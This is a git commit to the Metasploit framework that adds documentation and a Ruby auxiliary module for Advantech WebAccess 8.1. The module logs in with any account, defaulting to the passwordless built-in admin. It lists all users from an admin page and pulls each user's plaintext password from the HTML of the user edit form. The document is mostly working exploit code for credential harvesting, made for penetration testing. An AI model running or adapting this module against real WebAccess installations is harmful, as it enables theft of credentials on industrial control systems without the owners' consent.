commit
f846535d78
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
This module exploits three vulnerabilities in Advantech WebAccess.
|
||||
|
||||
The first vulnerability is the ability for an arbitrary user to access the admin user list page,
|
||||
revealing the username of every user on the system.
|
||||
|
||||
The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
|
||||
the data of an arbitrary user.
|
||||
|
||||
The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
|
||||
plain text password in the masked password input box. Typically the system should replace the
|
||||
actual password with a masked character such as "*".
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Version 8.1 was tested during development:
|
||||
|
||||
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
|
||||
|
||||
8.2 is not vulnerable to this.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use auxiliary/gahter/advantech_webaccess_creds```
|
||||
3. ```set WEBACCESSUSER [USER]```
|
||||
4. ```set WEBACCESSPASS [PASS]```
|
||||
5. ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**WEBACCESSUSER**
|
||||
|
||||
The username to use to log into Advantech WebAccess. By default, there is a built-in account
|
||||
```admin``` that you could use.
|
||||
|
||||
**WEBACCESSPASS**
|
||||
|
||||
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
|
||||
does not have a password, which could be something you can use.
|
||||
|
||||
|
||||
## Demo
|
||||
|
||||
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)
|
|
@ -0,0 +1,175 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
|
||||
'Description' => %q{
|
||||
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
|
||||
Although authentication is required, any level of user permission can exploit this vulnerability.
|
||||
|
||||
Note that 8.2 is not suitable for this.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
|
||||
'sinn3r', # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
|
||||
],
|
||||
'DisclosureDate' => "Jan 21 2017"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
|
||||
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login
|
||||
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'page' => '/',
|
||||
'pos' => '',
|
||||
'username' => datastore['WEBACCESSUSER'],
|
||||
'password' => datastore['WEBACCESSPASS'],
|
||||
'remMe' => '',
|
||||
'submit1' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
|
||||
end
|
||||
|
||||
if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
|
||||
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
|
||||
report_cred(
|
||||
user: datastore['WEBACCESSUSER'],
|
||||
password: datastore['WEBACCESSPASS'],
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
|
||||
end
|
||||
|
||||
print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_user_cred_detail(sid, user)
|
||||
vprint_status("Gathering password for user: #{user}")
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => sid,
|
||||
'vars_get' => {
|
||||
'uname' => user
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error("Unable to gather password for user #{user} due to a connection timeout")
|
||||
return nil
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
pass_field = html.at('input[@name="Password"]')
|
||||
|
||||
pass_field ? pass_field.attributes['value'].text : nil
|
||||
end
|
||||
|
||||
def get_users_page(sid)
|
||||
vprint_status("Checking user page...")
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => sid
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
|
||||
users = html.search('a').map { |a|
|
||||
Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
|
||||
}.delete_if { |user| user.blank? }
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'webaccess',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: opts[:status],
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
cookie = do_login
|
||||
users = get_users_page(cookie)
|
||||
|
||||
users.each do |user|
|
||||
pass = get_user_cred_detail(cookie, user)
|
||||
|
||||
if pass
|
||||
report_cred(
|
||||
user: user,
|
||||
password: pass,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: 'AdminPg.asp'
|
||||
)
|
||||
|
||||
print_good("Found password: #{user}:#{pass}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue